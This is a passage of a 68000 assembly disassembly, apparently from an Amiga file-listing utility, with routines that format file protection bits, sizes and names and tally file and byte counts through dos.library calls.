JSR -972(A6) ;1510: 4EAEFC34
TST D0 ;1514: 4A40
BNE.S LAB_00BC ;1516: 6622
BRA LAB_00DF ;1518: 6000033A
LAB_00BB:
TST.B 722(A3) ;151C: 4A2B02D2
BEQ.S LAB_00BC ;1520: 6718
LEA 722(A3),A0 ;1522: 41EB02D2
LEA 28(A2),A1 ;1526: 43EA001C
MOVE.L A0,D1 ;152A: 2208
MOVE.L A1,D2 ;152C: 2409
MOVEA.L (A3),A6 ;152E: 2C53
JSR -972(A6) ;1530: 4EAEFC34
TST D0 ;1534: 4A40
BEQ LAB_00DF ;1536: 6700031C
LAB_00BC:
LEA 132(A3),A2 ;153A: 45EB0084
MOVEA.L 8(A5),A0 ;153E: 206D0008
ADDA #$0098,A0 ;1542: D0FC0098
MOVEQ #11,D0 ;1546: 700B
MOVEA.L A2,A1 ;1548: 224A
LAB_00BD:
MOVE.B (A0)+,(A1)+ ;154A: 12D8
DBF D0,LAB_00BD ;154C: 51C8FFFC
CLR.B 144(A3) ;1550: 422B0090
TST.L 16(A3) ;1554: 4AAB0010
BNE.S LAB_00BE ;1558: 6604
MOVEQ #1,D0 ;155A: 7001
BRA.S LAB_00BF ;155C: 6002
LAB_00BE:
MOVEQ #0,D0 ;155E: 7000
LAB_00BF:
MOVE.B D0,145(A3) ;1560: 17400091
LEA 162(A3),A0 ;1564: 41EB00A2
MOVE.L A0,146(A3) ;1568: 27480092
LEA 178(A3),A0 ;156C: 41EB00B2
MOVE.L A0,150(A3) ;1570: 27480096
LEA 194(A3),A1 ;1574: 43EB00C2
MOVE.L A1,154(A3) ;1578: 2749009A
MOVE.L A0,44(A7) ;157C: 2F48002C
MOVE.L A1,40(A7) ;1580: 2F490028
MOVE.L A2,D1 ;1584: 220A
MOVEA.L (A3),A6 ;1586: 2C53
JSR -744(A6) ;1588: 4EAEFD18
TST.L D0 ;158C: 4A80
BNE.S LAB_00C2 ;158E: 6618
LEA LAB_008F(PC),A0 ;1590: 41FAFB8A
MOVEA.L 44(A7),A1 ;1594: 226F002C
LAB_00C0:
MOVE.B (A0)+,(A1)+ ;1598: 12D8
BNE.S LAB_00C0 ;159A: 66FC
LEA LAB_008F(PC),A0 ;159C: 41FAFB7E
MOVEA.L 40(A7),A1 ;15A0: 226F0028
LAB_00C1:
MOVE.B (A0)+,(A1)+ ;15A4: 12D8
BNE.S LAB_00C1 ;15A6: 66FC
LAB_00C2:
MOVEA.L 8(A5),A2 ;15A8: 246D0008
LEA 28(A2),A0 ;15AC: 41EA001C
LEA -1080(A5),A1 ;15B0: 43EDFBC8
LAB_00C3:
MOVE.B (A0)+,(A1)+ ;15B4: 12D8
BNE.S LAB_00C3 ;15B6: 66FC
MOVEQ #46,D0 ;15B8: 702E
LEA -1080(A5),A0 ;15BA: 41EDFBC8
JSR LAB_00F9(PC) ;15BE: 4EBA048A
TST.L D0 ;15C2: 4A80
BEQ.S LAB_00C5 ;15C4: 6714
MOVEA.L D0,A0 ;15C6: 2040
LEA 1(A0),A1 ;15C8: 43E80001
LEA -1112(A5),A6 ;15CC: 4DEDFBA8
LAB_00C4:
MOVE.B (A1)+,(A6)+ ;15D0: 1CD9
BNE.S LAB_00C4 ;15D2: 66FC
MOVEQ #0,D1 ;15D4: 7200
MOVE.B D1,(A0) ;15D6: 1081
BRA.S LAB_00C6 ;15D8: 6004
LAB_00C5:
CLR.B -1112(A5) ;15DA: 422DFBA8
LAB_00C6:
LEA 148(A2),A0 ;15DE: 41EA0094
MOVE.L A0,-(A7) ;15E2: 2F08
LEA -1128(A5),A0 ;15E4: 41EDFB98
LEA LAB_0091(PC),A1 ;15E8: 43FAFB3C
BSR LAB_00F0 ;15EC: 610003DA
LEA 20(A2),A0 ;15F0: 41EA0014
MOVE.L A0,(A7) ;15F4: 2E88
LEA -1144(A5),A0 ;15F6: 41EDFB88
LEA LAB_0091(PC),A1 ;15FA: 43FAFB2A
BSR LAB_00F0 ;15FE: 610003C8
LEA 144(A2),A0 ;1602: 41EA0090
MOVE.L A0,(A7) ;1606: 2E88
LEA -1160(A5),A0 ;1608: 41EDFB78
LEA LAB_0091(PC),A1 ;160C: 43FAFB18
BSR LAB_00F0 ;1610: 610003B6
ADDQ #4,A7 ;1614: 584F
LEA LAB_0092(PC),A0 ;1616: 41FAFB12
LEA -1169(A5),A1 ;161A: 43EDFB6F
LAB_00C7:
MOVE.B (A0)+,(A1)+ ;161E: 12D8
BNE.S LAB_00C7 ;1620: 66FC
MOVEQ #0,D5 ;1622: 7A00
BRA.S LAB_00CC ;1624: 602E
LAB_00C8:
MOVEQ #7,D0 ;1626: 7007
SUB.L D5,D0 ;1628: 9085
MOVEQ #1,D1 ;162A: 7201
MOVE.L D1,D2 ;162C: 2401
ASL.L D0,D2 ;162E: E1A2
MOVE.L D2,D4 ;1630: 2802
MOVEQ #4,D0 ;1632: 7004
CMP.L D0,D5 ;1634: BA80
BGE.S LAB_00C9 ;1636: 6C04
MOVEQ #0,D0 ;1638: 7000
BRA.S LAB_00CA ;163A: 6002
LAB_00C9:
MOVE.L D4,D0 ;163C: 2004
LAB_00CA:
MOVE.L 136(A2),D2 ;163E: 242A0088
AND.L D4,D2 ;1642: C484
CMP.L D0,D2 ;1644: B480
BNE.S LAB_00CB ;1646: 660A
LEA -1169(A5),A0 ;1648: 41EDFB6F
ADDA.L D5,A0 ;164C: D1C5
MOVE.B #$2D,(A0) ;164E: 10BC002D
LAB_00CB:
ADDQ.L #1,D5 ;1652: 5285
LAB_00CC:
MOVEQ #8,D0 ;1654: 7008
CMP.L D0,D5 ;1656: BA80
BLT.S LAB_00C8 ;1658: 6DCC
MOVEQ #0,D5 ;165A: 7A00
MOVEQ #0,D4 ;165C: 7800
BRA LAB_00D7 ;165E: 60000166
LAB_00CD:
MOVEA.L 100(A3),A0 ;1662: 206B0064
ADDA.L D5,A0 ;1666: D1C5
MOVE.B (A0),D0 ;1668: 1010
EXT D0 ;166A: 4880
SUBI #$0061,D0 ;166C: 04400061
BLT LAB_00D6 ;1670: 6D000150
CMPI #$0014,D0 ;1674: 0C400014
BGE LAB_00D6 ;1678: 6C000148
ADD D0,D0 ;167C: D040
MOVE LAB_00CE(PC,D0.W),D0 ;167E: 303B0006
JMP LAB_00CE+2(PC,D0.W) ;1682: 4EFB0004
LAB_00CE:
ORI.B #$36,-(A6) ;1686: 00260036
ORI #$009E,172(A2) ;168A: 006A009E00AC
DC.W $00BC ;1690
BTST D0,LAB_00D9(PC) ;1692: 013A013A
BTST D0,LAB_00DA+2(PC) ;1696: 013A013A
DC.W $00CA ;169A
DC.W $00D8 ;169C
BTST D0,D6 ;169E: 0106
BTST D0,(A4) ;16A0: 0114
BTST D0,LAB_00D7(PC) ;16A2: 013A0122
BTST D0,LAB_00DC(PC) ;16A6: 013A013A
BTST D0,LAB_00DB+2(PC) ;16AA: 013A0130
MOVEA.L 104(A3),A0 ;16AE: 206B0068
ADDA.L D4,A0 ;16B2: D1C4
LEA -1169(A5),A1 ;16B4: 43EDFB6F
MOVE.L A1,(A0) ;16B8: 2089
BRA LAB_00D6 ;16BA: 60000106
MOVEA.L 104(A3),A0 ;16BE: 206B0068
ADDA.L D4,A0 ;16C2: D1C4
MOVEA.L A0,A2 ;16C4: 2448
TST.L D7 ;16C6: 4A87
BMI.S LAB_00D0 ;16C8: 6B0A
LEA LAB_0094(PC),A0 ;16CA: 41FAFA68
MOVE.L A0,(A2) ;16CE: 2488
BRA LAB_00D6 ;16D0: 600000F0
LAB_00D0:
MOVEA.L 8(A5),A0 ;16D4: 206D0008
TST.L 144(A0) ;16D8: 4AA80090
BNE.S LAB_00D1 ;16DC: 660A
LEA LAB_0095(PC),A0 ;16DE: 41FAFA58
MOVE.L A0,(A2) ;16E2: 2488
BRA LAB_00D6 ;16E4: 600000DC
LAB_00D1:
LEA -1128(A5),A0 ;16E8: 41EDFB98
MOVE.L A0,(A2) ;16EC: 2488
BRA LAB_00D6 ;16EE: 600000D2
MOVEA.L 104(A3),A0 ;16F2: 206B0068
ADDA.L D4,A0 ;16F6: D1C4
LEA -1048(A5),A1 ;16F8: 43EDFBE8
MOVE.L A1,(A0) ;16FC: 2089
TST.B 164(A2) ;16FE: 4A2A00A4
BEQ.S LAB_00D3 ;1702: 671A
LEA 158(A3),A0 ;1704: 41EB009E
LAB_00D2:
MOVE.B (A0)+,(A1)+ ;1708: 12D8
BNE.S LAB_00D2 ;170A: 66FC
LEA 164(A2),A0 ;170C: 41EA00A4
MOVEA.L A0,A1 ;1710: 2248
LEA -1048(A5),A0 ;1712: 41EDFBE8
JSR LAB_00F2(PC) ;1716: 4EBA02EC
BRA LAB_00D6 ;171A: 600000A6
LAB_00D3:
CLR.B -1048(A5) ;171E: 422DFBE8
BRA LAB_00D6 ;1722: 6000009E
MOVEA.L 104(A3),A0 ;1726: 206B0068
ADDA.L D4,A0 ;172A: D1C4
MOVE.L 44(A7),(A0) ;172C: 20AF002C
BRA LAB_00D6 ;1730: 60000090
MOVEA.L 104(A3),A0 ;1734: 206B0068
ADDA.L D4,A0 ;1738: D1C4
LEA -1112(A5),A1 ;173A: 43EDFBA8
MOVE.L A1,(A0) ;173E: 2089
BRA LAB_00D6 ;1740: 60000080
MOVEA.L 104(A3),A0 ;1744: 206B0068
ADDA.L D4,A0 ;1748: D1C4
LEA -792(A5),A1 ;174A: 43EDFCE8
MOVE.L A1,(A0) ;174E: 2089
BRA.S LAB_00D6 ;1750: 6070
MOVEA.L 104(A3),A0 ;1752: 206B0068
ADDA.L D4,A0 ;1756: D1C4
LEA -1144(A5),A1 ;1758: 43EDFB88
MOVE.L A1,(A0) ;175C: 2089
BRA.S LAB_00D6 ;175E: 6062
MOVEA.L 104(A3),A0 ;1760: 206B0068
ADDA.L D4,A0 ;1764: D1C4
MOVEA.L A0,A2 ;1766: 2448
TST.L D7 ;1768: 4A87
BMI.S LAB_00D4 ;176A: 6B08
LEA LAB_0094(PC),A0 ;176C: 41FAF9C6
MOVE.L A0,(A2) ;1770: 2488
BRA.S LAB_00D6 ;1772: 604E
LAB_00D4:
MOVEA.L 8(A5),A0 ;1774: 206D0008
TST.L 144(A0) ;1778: 4AA80090
BNE.S LAB_00D5 ;177C: 6608
LEA LAB_0095(PC),A0 ;177E: 41FAF9B8
MOVE.L A0,(A2) ;1782: 2488
BRA.S LAB_00D6 ;1784: 603C
LAB_00D5:
LEA -1160(A5),A0 ;1786: 41EDFB78
MOVE.L A0,(A2) ;178A: 2488
BRA.S LAB_00D6 ;178C: 6034
MOVEA.L 104(A3),A0 ;178E: 206B0068
ADDA.L D4,A0 ;1792: D1C4
LEA -1080(A5),A1 ;1794: 43EDFBC8
MOVE.L A1,(A0) ;1798: 2089
BRA.S LAB_00D6 ;179A: 6026
MOVEA.L 104(A3),A0 ;179C: 206B0068
ADDA.L D4,A0 ;17A0: D1C4
LEA 28(A2),A1 ;17A2: 43EA001C
MOVE.L A1,(A0) ;17A6: 2089
BRA.S LAB_00D6 ;17A8: 6018
MOVEA.L 104(A3),A0 ;17AA: 206B0068
ADDA.L D4,A0 ;17AE: D1C4
LEA -536(A5),A1 ;17B0: 43EDFDE8
MOVE.L A1,(A0) ;17B4: 2089
BRA.S LAB_00D6 ;17B6: 600A
MOVEA.L 104(A3),A0 ;17B8: 206B0068
ADDA.L D4,A0 ;17BC: D1C4
MOVE.L 40(A7),(A0) ;17BE: 20AF0028
LAB_00D6:
ADDQ.L #1,D5 ;17C2: 5285
ADDQ.L #4,D4 ;17C4: 5884
LAB_00D7:
MOVEA.L 100(A3),A0 ;17C6: 206B0064
LAB_00D8:
TST.B (A0)+ ;17CA: 4A18
BNE.S LAB_00D8 ;17CC: 66FC
LAB_00D9:
SUBQ.L #1,A0 ;17CE: 5388
LAB_00DA:
SUBA.L 100(A3),A0 ;17D0: 91EB0064
MOVEA.L 8(A5),A2 ;17D4: 246D0008
CMP.L A0,D5 ;17D8: BA88
LAB_00DB:
BLT LAB_00CD ;17DA: 6D00FE86
MOVE.L 96(A3),D1 ;17DE: 222B0060
LAB_00DC:
MOVE.L 104(A3),D2 ;17E2: 242B0068
MOVEA.L (A3),A6 ;17E6: 2C53
JSR -954(A6) ;17E8: 4EAEFC46
LEA LAB_0084(PC),A0 ;17EC: 41FAF8F0
MOVE.L A0,D1 ;17F0: 2208
JSR -948(A6) ;17F2: 4EAEFC4C
TST.L D7 ;17F6: 4A87
BMI.S LAB_00DD ;17F8: 6B10
TST.L 52(A3) ;17FA: 4AAB0034
BNE.S LAB_00DE ;17FE: 6618
ADDQ.L #1,68(A3) ;1800: 52AB0044
ADDQ.L #1,84(A3) ;1804: 52AB0054
BRA.S LAB_00DE ;1808: 600E
LAB_00DD:
TST.L 56(A3) ;180A: 4AAB0038
BNE.S LAB_00DE ;180E: 6608
ADDQ.L #1,72(A3) ;1810: 52AB0048
ADDQ.L #1,88(A3) ;1814: 52AB0058
LAB_00DE:
MOVE.L 148(A2),D0 ;1818: 202A0094
MOVE.L D0,D1 ;181C: 2200
ADDQ.L #1,D1 ;181E: 5281
ADD.L D1,76(A3) ;1820: D3AB004C
MOVE.L 148(A2),D0 ;1824: 202A0094
ADDQ.L #1,D0 ;1828: 5280
ADD.L D0,92(A3) ;182A: D1AB005C
MOVE.L #$00001000,D1 ;182E: 223C00001000
MOVEA.L (A3),A6 ;1834: 2C53
JSR -792(A6) ;1836: 4EAEFCE8
TST.L D0 ;183A: 4A80
BEQ.S LAB_00DF ;183C: 6716
MOVEA #$0004,A0 ;183E: 307C0004
MOVEA.L (A0),A1 ;1842: 2250
MOVEA.L 276(A1),A0 ;1844: 20690114
MOVE.L #$00000130,148(A0) ;1848: 217C000001300094
MOVEQ #1,D7 ;1850: 7E01
BRA.S LAB_00E0 ;1852: 6014
LAB_00DF:
MOVEA.L 8(A5),A2 ;1854: 246D0008
MOVE.L A2,D1 ;1858: 220A
MOVEA.L (A3),A6 ;185A: 2C53
JSR -828(A6) ;185C: 4EAEFCC4
MOVE.L D0,D7 ;1860: 2E00
TST.L D7 ;1862: 4A87
BEQ LAB_00AA ;1864: 6700FA8A
LAB_00E0:
TST.L D7 ;1868: 4A87
BEQ.S LAB_00E1 ;186A: 670A
MOVEA.L (A3),A6 ;186C: 2C53
JSR -132(A6) ;186E: 4EAEFF7C
MOVE.L D0,-24(A5) ;1872: 2B40FFE8
LAB_00E1:
MOVE.L -24(A5),D0 ;1876: 202DFFE8
MOVEQ #116,D1 ;187A: 7274
ADD.L D1,D1 ;187C: D281
CMP.L D1,D0 ;187E: B081
BEQ.S LAB_00E2 ;1880: 6704
TST.L D0 ;1882: 4A80
BNE.S LAB_00E3 ;1884: 6604
LAB_00E2:
CLR.L 116(A3) ;1886: 42AB0074
LAB_00E3:
CMPI.L #$00000130,-24(A5) ;188A: 0CAD00000130FFE8
BNE.S LAB_00E4 ;1892: 6614
MOVE.L #$00000130,D1 ;1894: 223C00000130
MOVEQ #0,D2 ;189A: 7400
MOVEA.L (A3),A6 ;189C: 2C53
JSR -474(A6) ;189E: 4EAEFE26
MOVEQ #5,D0 ;18A2: 7005
MOVE.L D0,116(A3) ;18A4: 27400074
LAB_00E4:
MOVE.L 8(A5),D1 ;18A8: 222D0008
MOVEA.L (A3),A6 ;18AC: 2C53
JSR -834(A6) ;18AE: 4EAEFCBE
MOVEA.L -1174(A5),A2 ;18B2: 246DFB6A
MOVE.L A2,D0 ;18B6: 200A
BEQ.S LAB_00E5 ;18B8: 670C
MOVEA.L -1178(A5),A0 ;18BA: 206DFB66
MOVE.L 80(A3),(A0) ;18BE: 20AB0050
MOVE.L A2,80(A3) ;18C2: 274A0050
LAB_00E5:
MOVEA.L A3,A0 ;18C6: 204B
BSR LAB_00E6 ;18C8: 6100000E
MOVE.L 116(A3),D0 ;18CC: 202B0074
MOVEM.L (A7)+,D2-D7/A2-A3/A6 ;18D0: 4CDF4CFC
UNLK A5 ;18D4: 4E5D
RTS ;18D6: 4E75
LAB_00E6:
LINK A5,#-8 ;18D8: 4E55FFF8
MOVEM.L D2/A2-A3/A6,-(A7) ;18DC: 48E72032
MOVEA.L A0,A3 ;18E0: 2648
MOVEA #$0004,A0 ;18E2: 307C0004
MOVE.L (A0),-8(A5) ;18E6: 2B50FFF8
TST.L 60(A3) ;18EA: 4AAB003C
BNE LAB_00EF ;18EE: 660000C2
TST.L 48(A3) ;18F2: 4AAB0030
BNE LAB_00EF ;18F6: 660000BA
MOVE.L 72(A3),D0 ;18FA: 202B0048
MOVE.L 68(A3),D1 ;18FE: 222B0044
ADD.L D0,D1 ;1902: D280
BEQ LAB_00EF ;1904: 670000AC
TST.L 56(A3) ;1908: 4AAB0038
BNE.S LAB_00E9 ;190C: 6634
TST.L D0 ;190E: 4A80
BEQ.S LAB_00E9 ;1910: 6730
MOVEA.L 104(A3),A1 ;1912: 226B0068
MOVE.L D0,(A1) ;1916: 2280
LEA 4(A1),A2 ;1918: 45E90004
CMPI.L #$00000001,72(A3) ;191C: 0CAB000000010048
BLE.S LAB_00E7 ;1924: 6F08
LEA LAB_0075(PC),A0 ;1926: 41FAF73E
MOVE.L A0,(A2) ;192A: 2488
BRA.S LAB_00E8 ;192C: 6006
LAB_00E7:
LEA LAB_0076(PC),A0 ;192E: 41FAF73C
MOVE.L A0,(A2) ;1932: 2488
LAB_00E8:
MOVE.L A1,D2 ;1934: 2409
LEA LAB_0077(PC),A0 ;1936: 41FAF73A
MOVE.L A0,D1 ;193A: 2208
MOVEA.L (A3),A6 ;193C: 2C53
JSR -954(A6) ;193E: 4EAEFC46
LAB_00E9:
TST.L 52(A3) ;1942: 4AAB0034
BNE.S LAB_00EC ;1946: 6636
MOVE.L 68(A3),D0 ;1948: 202B0044
BEQ.S LAB_00EC ;194C: 6730
MOVEA.L 104(A3),A0 ;194E: 206B0068
MOVE.L D0,(A0) ;1952: 2080
LEA 4(A0),A2 ;1954: 45E80004
CMPI.L #$00000001,68(A3) ;1958: 0CAB000000010044
BLE.S LAB_00EA ;1960: 6F08
LEA LAB_0079(PC),A1 ;1962: 43FAF718
MOVE.L A1,(A2) ;1966: 2489
BRA.S LAB_00EB ;1968: 6006
LAB_00EA:
LEA LAB_007A(PC),A1 ;196A: 43FAF71C
MOVE.L A1,(A2) ;196E: 2489
LAB_00EB:
MOVE.L A0,D2 ;1970: 2408
LEA LAB_0077(PC),A1 ;1972: 43FAF6FE
MOVE.L A1,D1 ;1976: 2209
MOVEA.L (A3),A6 ;1978: 2C53
JSR -954(A6) ;197A: 4EAEFC46
LAB_00EC:
MOVEA.L 104(A3),A0 ;197E: 206B0068
MOVE.L 76(A3),D0 ;1982: 202B004C
MOVE.L D0,(A0) ;1986: 2080
LEA 4(A0),A2 ;1988: 45E80004
CMPI.L #$00000001,76(A3) ;198C: 0CAB00000001004C
BLE.S LAB_00ED ;1994: 6F08
LEA LAB_007B(PC),A1 ;1996: 43FAF6FA
MOVE.L A1,(A2) ;199A: 2489
BRA.S LAB_00EE ;199C: 6006
LAB_00ED:
LEA LAB_007D(PC),A1 ;199E: 43FAF6FA
MOVE.L A1,(A2) ;19A2: 2489
LAB_00EE:
MOVE.L A0,D2 ;19A4: 2408
LEA LAB_007E(PC),A1 ;19A6: 43FAF6F8
MOVE.L A1,D1 ;19AA: 2209
MOVEA.L (A3),A6 ;19AC: 2C53
JSR -954(A6) ;19AE: 4EAEFC46
LAB_00EF:
MOVEQ #0,D0 ;19B2: 7000
MOVE.L D0,76(A3) ;19B4: 2740004C
MOVE.L D0,72(A3) ;19B8: 27400048
MOVE.L D0,68(A3) ;19BC: 27400044
MOVEM.L (A7)+,D2/A2-A3/A6 ;19C0: 4CDF4C04
UNLK A5 ;19C4: 4E5D
RTS ;19C6: 4E75
LAB_00F0:
LINK A5,#0 ;19C8: 4E550000
MOVEM.L A2-A3/A6,-(A7) ;19CC: 48E70032
MOVEA.L A0,A3 ;19D0: 2648
MOVEA.L A1,A2 ;19D2: 2449
MOVEM.L A2-A3,-(A7) ;19D4: 48E70030
MOVEA.L A2,A0 ;19D8: 204A
MOVEA.L 8(A5),A1 ;19DA: 226D0008
LEA LAB_00F1(PC),A2 ;19DE: 45FA0016
MOVEA.L (ABSEXECBASE).W,A6 ;19E2: 2C780004
JSR -522(A6) ;19E6: 4EAEFDF6
MOVEM.L (A7)+,A2-A3 ;19EA: 4CDF0C00
MOVEM.L (A7)+,A2-A3/A6 ;19EE: 4CDF4C00
UNLK A5 ;19F2: 4E5D
RTS ;19F4: 4E75
LAB_00F1:
LINK A5,#-4 ;19F6: 4E55FFFC
MOVE.L D0,-4(A5) ;19FA: 2B40FFFC
MOVE.B D0,(A3)+ ;19FE: 16C0
UNLK A5 ;1A00: 4E5D
RTS ;1A02: 4E75
LAB_00F2:
MOVE.L A0,D0 ;1A04: 2008
LAB_00F3:
TST.B (A0)+ ;1A06: 4A18
BNE.S LAB_00F3 ;1A08: 66FC
SUBQ.L #1,A0 ;1A0A: 5388
LAB_00F4:
MOVE.B (A1)+,(A0)+ ;1A0C: 10D9
BNE.S LAB_00F4 ;1A0E: 66FC
RTS ;1A10: 4E75
DC.W $0000 ;1A12
LAB_00F5:
MOVEM.L D7/A3,-(A7) ;1A14: 48E70110
MOVEA.L A0,A3 ;1A18: 2648
MOVE.L D0,D7 ;1A1A: 2E00
LAB_00F6:
MOVEQ #0,D0 ;1A1C: 7000
MOVE.B (A3),D0 ;1A1E: 1013
CMP.L D7,D0 ;1A20: B087
BNE.S LAB_00F7 ;1A22: 6604
MOVE.L A3,D0 ;1A24: 200B
BRA.S LAB_00F8 ;1A26: 6008
LAB_00F7:
MOVE.B (A3)+,D0 ;1A28: 101B
TST.B D0 ;1A2A: 4A00
BNE.S LAB_00F6 ;1A2C: 66EE
MOVEQ #0,D0 ;1A2E: 7000
LAB_00F8:
MOVEM.L (A7)+,D7/A3 ;1A30: 4CDF0880
RTS ;1A34: 4E75
MOVEM.L D7/A3,-(A7) ;1A36: 48E70110
MOVEA.L A0,A3 ;1A3A: 2648
MOVE.L D0,D7 ;1A3C: 2E00
MOVE.L D7,D0 ;1A3E: 2007
MOVEA.L A3,A0 ;1A40: 204B
BSR.S LAB_00F5 ;1A42: 61D0
MOVEM.L (A7)+,D7/A3 ;1A44: 4CDF0880
RTS ;1A48: 4E75
LAB_00F9:
MOVEM.L D7/A2-A3,-(A7) ;1A4A: 48E70130
MOVEA.L A0,A3 ;1A4E: 2648
MOVE.L D0,D7 ;1A50: 2E00
SUBA.L A2,A2 ;1A52: 95CA
LAB_00FA:
MOVE.B (A3),D0 ;1A54: 1013
BEQ.S LAB_00FC ;1A56: 670E
MOVEQ #0,D1 ;1A58: 7200
MOVE.B D0,D1 ;1A5A: 1200
CMP.L D7,D1 ;1A5C: B287
BNE.S LAB_00FB ;1A5E: 6602
MOVEA.L A3,A2 ;1A60: 244B
LAB_00FB:
ADDQ.L #1,A3 ;1A62: 528B
BRA.S LAB_00FA ;1A64: 60EE
LAB_00FC:
MOVE.L A2,D0 ;1A66: 200A
MOVEM.L (A7)+,D7/A2-A3 ;1A68: 4CDF0C80
RTS ;1A6C: 4E75
DC.W $0000 ;1A6E
END